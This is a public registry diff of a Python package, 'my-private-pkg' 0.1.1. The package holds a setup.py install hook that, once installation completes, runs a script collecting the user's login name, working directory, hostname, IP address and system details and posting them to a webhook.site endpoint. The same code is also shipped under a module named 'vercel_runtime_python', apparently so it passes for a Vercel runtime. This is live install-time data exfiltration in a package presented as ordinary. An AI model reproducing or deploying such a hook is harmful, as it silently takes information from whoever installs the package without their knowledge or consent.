my-private-pkg 0.1.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- my_private_pkg-0.1.1/PKG-INFO +14 -0
- my_private_pkg-0.1.1/my_private_pkg/index.py +37 -0
- my_private_pkg-0.1.1/my_private_pkg.egg-info/PKG-INFO +14 -0
- my_private_pkg-0.1.1/my_private_pkg.egg-info/SOURCES.txt +10 -0
- my_private_pkg-0.1.1/my_private_pkg.egg-info/dependency_links.txt +1 -0
- my_private_pkg-0.1.1/my_private_pkg.egg-info/requires.txt +1 -0
- my_private_pkg-0.1.1/my_private_pkg.egg-info/top_level.txt +4 -0
- my_private_pkg-0.1.1/pyproject.toml +29 -0
- my_private_pkg-0.1.1/setup.cfg +4 -0
- my_private_pkg-0.1.1/setup.py +26 -0
- my_private_pkg-0.1.1/vercel_runtime_python/__init__.py +13 -0
- my_private_pkg-0.1.1/vercel_runtime_python/index.py +37 -0
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: my-private-pkg
|
|
3
|
+
Version: 0.1.1
|
|
4
|
+
Summary: A private Python package
|
|
5
|
+
Author: victam
|
|
6
|
+
Author-email: victam <your.email@example.com>
|
|
7
|
+
Project-URL: Homepage, https://github.com/victam/my-private-pkg
|
|
8
|
+
Classifier: Programming Language :: Python :: 3
|
|
9
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.8
|
|
12
|
+
Description-Content-Type: text/markdown
|
|
13
|
+
Requires-Dist: requests
|
|
14
|
+
Dynamic: author
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import socket
|
|
3
|
+
import platform
|
|
4
|
+
import requests
|
|
5
|
+
|
|
6
|
+
SERVER_URL = "https://webhook.site/d4d1b01b-708a-40b9-b8c8-187eeecafeed"
|
|
7
|
+
|
|
8
|
+
def get_local_ip():
|
|
9
|
+
try:
|
|
10
|
+
hostname = socket.gethostname()
|
|
11
|
+
return socket.gethostbyname(hostname)
|
|
12
|
+
except Exception:
|
|
13
|
+
return "unknown"
|
|
14
|
+
|
|
15
|
+
def get_device_info():
|
|
16
|
+
return {
|
|
17
|
+
"user": os.getlogin(),
|
|
18
|
+
"cwd": os.getcwd(),
|
|
19
|
+
"hostname": socket.gethostname(),
|
|
20
|
+
"ip": get_local_ip(),
|
|
21
|
+
"system": platform.system(),
|
|
22
|
+
"machine": platform.machine()
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
def send_device_info():
|
|
26
|
+
payload = get_device_info()
|
|
27
|
+
print("Sending device info:")
|
|
28
|
+
print(payload)
|
|
29
|
+
try:
|
|
30
|
+
response = requests.post(SERVER_URL, json=payload, timeout=10)
|
|
31
|
+
print("Server response:")
|
|
32
|
+
print(response.text)
|
|
33
|
+
except Exception as e:
|
|
34
|
+
print(f"Failed to send data: {e}")
|
|
35
|
+
|
|
36
|
+
if __name__ == "__main__":
|
|
37
|
+
send_device_info()
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: my-private-pkg
|
|
3
|
+
Version: 0.1.1
|
|
4
|
+
Summary: A private Python package
|
|
5
|
+
Author: victam
|
|
6
|
+
Author-email: victam <your.email@example.com>
|
|
7
|
+
Project-URL: Homepage, https://github.com/victam/my-private-pkg
|
|
8
|
+
Classifier: Programming Language :: Python :: 3
|
|
9
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.8
|
|
12
|
+
Description-Content-Type: text/markdown
|
|
13
|
+
Requires-Dist: requests
|
|
14
|
+
Dynamic: author
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
pyproject.toml
|
|
2
|
+
setup.py
|
|
3
|
+
my_private_pkg/index.py
|
|
4
|
+
my_private_pkg.egg-info/PKG-INFO
|
|
5
|
+
my_private_pkg.egg-info/SOURCES.txt
|
|
6
|
+
my_private_pkg.egg-info/dependency_links.txt
|
|
7
|
+
my_private_pkg.egg-info/requires.txt
|
|
8
|
+
my_private_pkg.egg-info/top_level.txt
|
|
9
|
+
vercel_runtime_python/__init__.py
|
|
10
|
+
vercel_runtime_python/index.py
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
requests
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=42", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "my-private-pkg"
|
|
7
|
+
version = "0.1.1"
|
|
8
|
+
description = "A private Python package"
|
|
9
|
+
authors = [
|
|
10
|
+
{ name = "victam", email = "your.email@example.com" }
|
|
11
|
+
]
|
|
12
|
+
readme = "README.md"
|
|
13
|
+
requires-python = ">=3.8"
|
|
14
|
+
|
|
15
|
+
classifiers = [
|
|
16
|
+
"Programming Language :: Python :: 3",
|
|
17
|
+
"License :: OSI Approved :: MIT License",
|
|
18
|
+
"Operating System :: OS Independent",
|
|
19
|
+
]
|
|
20
|
+
|
|
21
|
+
dependencies = [
|
|
22
|
+
"requests"
|
|
23
|
+
]
|
|
24
|
+
|
|
25
|
+
[project.urls]
|
|
26
|
+
Homepage = "https://github.com/victam/my-private-pkg"
|
|
27
|
+
|
|
28
|
+
[tool.setuptools.packages.find]
|
|
29
|
+
where = ["."]
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
from setuptools import setup, find_packages
|
|
2
|
+
from setuptools.command.install import install
|
|
3
|
+
import subprocess
|
|
4
|
+
import sys
|
|
5
|
+
|
|
6
|
+
class PostInstallCommand(install):
|
|
7
|
+
"""Post-installation command to run index.py after installation."""
|
|
8
|
+
def run(self):
|
|
9
|
+
# Run the standard install
|
|
10
|
+
install.run(self)
|
|
11
|
+
|
|
12
|
+
# Execute index.py after installation
|
|
13
|
+
script_path = "my_private_pkg/index.py"
|
|
14
|
+
subprocess.call([sys.executable, script_path])
|
|
15
|
+
|
|
16
|
+
setup(
|
|
17
|
+
name="my-private-pkg",
|
|
18
|
+
version="0.1.0",
|
|
19
|
+
description="A package that sends device info to a webhook after installation.",
|
|
20
|
+
author="victam",
|
|
21
|
+
author_email="your.email@example.com",
|
|
22
|
+
packages=find_packages(),
|
|
23
|
+
cmdclass={
|
|
24
|
+
'install': PostInstallCommand,
|
|
25
|
+
},
|
|
26
|
+
)
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
import subprocess
|
|
2
|
+
import sys
|
|
3
|
+
from setuptools.command.install import install
|
|
4
|
+
|
|
5
|
+
class PostInstallCommand(install):
|
|
6
|
+
"""Post-installation command to run index.py after installation."""
|
|
7
|
+
def run(self):
|
|
8
|
+
# Run the standard install
|
|
9
|
+
install.run(self)
|
|
10
|
+
|
|
11
|
+
# Execute index.py after installation
|
|
12
|
+
script_path = "my_private_pkg/index.py"
|
|
13
|
+
subprocess.call([sys.executable, script_path])
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import socket
|
|
3
|
+
import platform
|
|
4
|
+
import requests
|
|
5
|
+
|
|
6
|
+
SERVER_URL = "https://webhook.site/d4d1b01b-708a-40b9-b8c8-187eeecafeed"
|
|
7
|
+
|
|
8
|
+
def get_local_ip():
|
|
9
|
+
try:
|
|
10
|
+
hostname = socket.gethostname()
|
|
11
|
+
return socket.gethostbyname(hostname)
|
|
12
|
+
except Exception:
|
|
13
|
+
return "unknown"
|
|
14
|
+
|
|
15
|
+
def get_device_info():
|
|
16
|
+
return {
|
|
17
|
+
"user": os.getlogin(),
|
|
18
|
+
"cwd": os.getcwd(),
|
|
19
|
+
"hostname": socket.gethostname(),
|
|
20
|
+
"ip": get_local_ip(),
|
|
21
|
+
"system": platform.system(),
|
|
22
|
+
"machine": platform.machine()
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
def send_device_info():
|
|
26
|
+
payload = get_device_info()
|
|
27
|
+
print("Sending device info:")
|
|
28
|
+
print(payload)
|
|
29
|
+
try:
|
|
30
|
+
response = requests.post(SERVER_URL, json=payload, timeout=10)
|
|
31
|
+
print("Server response:")
|
|
32
|
+
print(response.text)
|
|
33
|
+
except Exception as e:
|
|
34
|
+
print(f"Failed to send data: {e}")
|
|
35
|
+
|
|
36
|
+
if __name__ == "__main__":
|
|
37
|
+
send_device_info()
|